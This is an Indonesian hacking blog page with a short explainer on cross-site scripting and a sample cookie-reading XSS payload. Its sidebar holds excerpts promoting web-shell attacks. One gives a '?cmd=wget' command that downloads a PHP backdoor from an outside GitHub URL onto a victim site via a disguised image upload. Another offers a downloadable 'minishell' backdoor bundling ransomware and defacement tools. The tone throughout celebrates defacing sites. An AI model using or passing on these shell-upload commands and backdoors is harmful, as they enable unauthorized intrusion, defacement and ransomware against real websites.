Langsung ke konten utama

Apa Itu XSS ?






Cross-site-Scripting atau sering disingkat dengan XSS. Kenapa tidak disingkat CSS, agar tidak tertukar dengan cascade style-sheet.  Serangan ini ditujukan pada web. XSS dilakukan dengan melakukan injeksi kode client side script pada sebuah web. Kode injeksi ini berbeda dengan injeksi kode SQL pada SQL injection. Dengan melakukan serangan ini, penyerang dapat mengambil session dari korban, melakukan deface website. memasukkan konten tertentu, redirect user dll.
Terdapat 3 macam XSS yaitu, stored, reflected dan DOM based xss. Untuk mengetahui apakah sebuah web memiliki celah keamanan ini, bisa dilakukan dengan code analysis, dengan pengujian memasukkan script code tertentu.
Contohny : 
"><img src=x onerror=prompt(document.cookie)>


Nah Jika Belum Paham Kalian Bisa menonton Video Saya Di Bawah Ini.


SelamatMenonton :v

Label:

Postingan populer dari blog ini

Shell Image Format php

{ ItsTeam Sec }  Inject Shell Ke Gambar By ./CryMera  Gunanya? nah Jadi Kalau Kalian Pen Upload Backdoor Tapi Cuman Bisa Image..nah Coba deh upload Ni Image Dulu Kalau Upload Image Ini Kalian Masukan Command (?cmd=wget -O https://raw.githubusercontent.com/ItsTeamSec/Shell/master/sec.php) otomatis shell akan ke upload ke web tsb Jadi tinggal Akses Aja misal kalian upload shell image ini dimana nah disana juga shellny ke upload note : gak semua web bisa di giniin kek aku,aku gk bisa di gituin :v *hiks Command Upload Shell : ?cmd=wget -O https//raw.githubusercontent.com/ItsTeamSec/Shell/master/sec.php Gas Download Aja Langsung Shell Nya Disini https://anonymousfiles.io/SpEHE9J2/
1 komentar
Baca selengkapnya

Minishell Backdoor 2020

Assalamualaikum para heker2 indo dan kawan-kawan yang lagi baca artikel ini Kalian pasti tau kan apa itu shell backdoor? Ya pasti tau lah Kalo gk tau pasti klean gk bakal liat nih artikel :v Banyak jenis jenis shell backdoor untuk web tapi terkadang shell yang size nya gede gak bisa di upload karna over size  Nah pasti otak index kalian pen cari shell yang size nya kecil dan tools nya banyak,, Fix anda pintar telah mengunjungi blog ini We sebagai ./Fake Root yang baik hati dan selalu berbagi mau membagikan MINISHELL backdoor yang dimana shell ini berukuran kecil dan mempunyai banyak tools seperti [ ransomware,symlink,adminer,zone-h,bypass disable,jumping,password hash,command ] Oke dah gosah banyak cingcong  Langsung ja download file nya di bawah Klick ==>  Minishell-hemker Jangan lupa cuk Kalo deface titip nick w ya ./Fake Root Thank for reading #shellweb #minishell #defacer #hacker #webshell #backdoor #indonesian_defacer
Posting Komentar
Baca selengkapnya

Penanganan Barang Bukti Digital di Indonesia

  Kita ketahui bersama bahwa kejagatan siber atau cybercrime semakin meningkat. Indonesia sebagai negara berkembang terkena dampaknya. Kejahatan yang sering terjadi akhir-akhir ini bukan hanya yang bersifat konvensional saja, namun kejahatan siber sangat berkembang. Kita lihat contoh pada beberapa tahun terakhir ini yakni dari kasus pembajakan web, penipuan online sampai pada kasus peretasan sebuah situs tiket online yang merugikan pihak penyedia situs sebesar 4 milyar rupiah. Dari pengungkapan kasus kejahatan siber kita kenal ada istilah barang bukti digital yang bisa saja berupa perangkat elektronik, bisa juga berupa data digital. Peraturan Kepala Kepolisian Republik Indonesia No. 10 Tahun 2009 mengatur tentang bagaimana penanganan terhadap barang bukti digital yang bersifat gampang dimanipulasi ini. Aturan tersebut menjelaskan bagaimana cara dan syarat permintaan pemeriksaan teknis kriminal tempat kejadian perkara dan laboratoris kriminal barang bukti kepada laboraturium fo...
Posting Komentar
Baca selengkapnya